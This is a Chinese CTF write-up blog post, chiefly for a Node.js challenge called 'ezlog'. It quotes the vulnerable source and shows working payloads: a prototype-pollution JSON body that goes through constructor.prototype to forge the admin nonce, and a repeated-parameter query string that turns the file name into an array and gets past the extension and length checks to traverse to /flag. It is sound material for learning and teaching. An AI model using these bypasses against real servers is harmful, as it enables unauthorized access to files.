本文最后更新于 2026年6月12日 晚上
黄河流域和智警杯时间重了,回来之后复现的
real_Grafana
和第三次纳新一样,爆破密码然后打CVE
real_Grafana
ezlog
主要就是两个接口,一个可以nodejs原型链污染,一个可以查看文件但是需要管理员权限
先看看管理员的校验逻辑
1 2 3 4 5 6 7 8 9 10 11
| const ADMIN_NAME = "CTF-ADMIN"; const ADMIN_NONCE = "t0mcater" + generateSecureRandomNumber();
let adminconfig = { name: ADMIN_NAME }; Object.prototype.nonce = ADMIN_NONCE;
function isAdmin(name, nonce) { return name === adminconfig.name && nonce === Object.prototype.nonce; }
|
校验了两个变量,再看看递归合并函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| function merge(target, source, res) { for (let key in source) { if (key === '__proto__') { if (res) { res.send('????'); return; } continue; }
if (source[key] instanceof Object && key in target) { merge(target[key], source[key], res); } else { target[key] = source[key]; } } }
app.post('/api/pollute', (req, res) => { let userconfig = req.body; try { merge(adminconfig, userconfig, res); res.json({ status: "success", msg: "pollute success!!!", }); } catch (e) { res.status(500).json({ status: "error", message: "wtf?" }); } });
|
禁用了__proto__,我们可以走constructor,考虑到是公共靶机,保险起见顺手把name也污染了
1
| {"constructor":{"prototype":{"nonce":"pwned"}}}
|
下面我们看看怎么读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| const allowedFile = (file) => { const lastDot = file.lastIndexOf('.'); if (lastDot === -1) return false; const format = file.slice(lastDot + 1); return format == 'log'; };
app.post('/api/checkfile', async (req, res, next) => { try { if (isAdmin(req.body.name, req.body.nonce)) { let file = req.query.file; console.log(file); if (!file) { return res.send('File name not specified.'); } if (!allowedFile(file)) { return res.send('File type not allowed.'); } try { if (file.includes(' ') || file.includes('/') || file.includes('..')) { return res.send('Invalid filename!'); } } catch (err) { return res.send('An error occured!'); }
if (file.length > 10) { file = file.slice(0, 10); } const returned = path.resolve('./' + file); fs.readFile(returned, (err) => { if (err) { return res.send('An error occured!'); } res.sendFile(returned); }); } else { return res.status(403).send('Sorry Only privileged Admin can check the file.'); } } catch (err) { return next(err); } });
|
这里校验了文件后缀名,进行了长度截取
注意:file.slice对数组也有效而对file参数进行多次传参可以产生数组!!!
1
| /api/checkfile?file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=%2F..%2F..%2Fflag&file=.&file=log
|
传参得到
1
| ['a','a','a','a','a','a','a','a','a','/../../flag','.','log']
|
完美通过后缀校验,长度截取直接截掉后缀名
1
| ['a','a','a','a','a','a','a','a','a','/../../flag']
|
我们看path.resolve('./' + file);
这里file是一个数组,会进行toString操作,变成./a,a,a,a,a,a,a,a,a,/../../flag,直接目录穿越,读到flag
喵喵宠物医院